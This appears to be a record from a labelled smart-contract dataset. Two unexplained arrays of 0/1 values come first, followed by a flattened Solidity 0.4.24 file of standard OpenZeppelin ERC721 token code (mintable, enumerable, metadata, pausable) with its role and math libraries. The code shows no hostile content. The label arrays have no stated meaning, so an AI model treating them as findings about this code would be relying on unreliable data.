0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
|
pragma solidity 0.4.24;
// File: contracts/lib/openzeppelin-solidity/contracts/access/Roles.sol
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/access/roles/MinterRole.sol
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
minters.add(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
minters.add(account);
emit MinterAdded(account);
}
function renounceMinter() public {
minters.remove(msg.sender);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/introspection/IERC165.sol
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: contracts/lib/openzeppelin-solidity/contracts/introspection/ERC165.sol
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/utils/Address.sol
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(from, to, tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param owner owner of the token
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallSafeTransfer(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor() public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) public view returns (string);
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string internal _name;
// Token symbol
string internal _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
return _name;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) public view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/ERC721Mintable.sol
/**
* @title ERC721Mintable
* @dev ERC721 minting logic
*/
contract ERC721Mintable is ERC721Full, MinterRole {
event MintingFinished();
bool private _mintingFinished = false;
modifier onlyBeforeMintingFinished() {
require(!_mintingFinished);
_;
}
/**
* @return true if the minting is finished.
*/
function mintingFinished() public view returns(bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param tokenId The token id to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 tokenId
)
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mint(to, tokenId);
return true;
}
function mintWithTokenURI(
address to,
uint256 tokenId,
string tokenURI
)
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
mint(to, tokenId);
_setTokenURI(tokenId, tokenURI);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting()
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mintingFinished = true;
emit MintingFinished();
return true;
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/access/roles/PauserRole.sol
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() public {
pausers.add(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
pausers.add(account);
emit PauserAdded(account);
}
function renouncePauser() public {
pausers.remove(msg.sender);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused();
event Unpaused();
bool private _paused = false;
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused();
}
}
// File: contracts/lib/openzeppelin-solidity/contracts/token/ERC721/ERC721Pausable.sol
/**
* @title ERC721 Non-Fungible Pausable token
* @dev ERC721 modified with pausable transfers.
**/
contract ERC721Pausable is ERC721, Pausable {
function approve(
address to,
uint256 tokenId
)
public
whenNotPaused
{
super.approve(to, tokenId);
}
function setApprovalForAll(
address to,
bool approved
)
public
whenNotPaused
{
super.setApprovalForAll(to, approved);
}
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
whenNotPaused
{
super.transferFrom(from, to, tokenId);
}
}
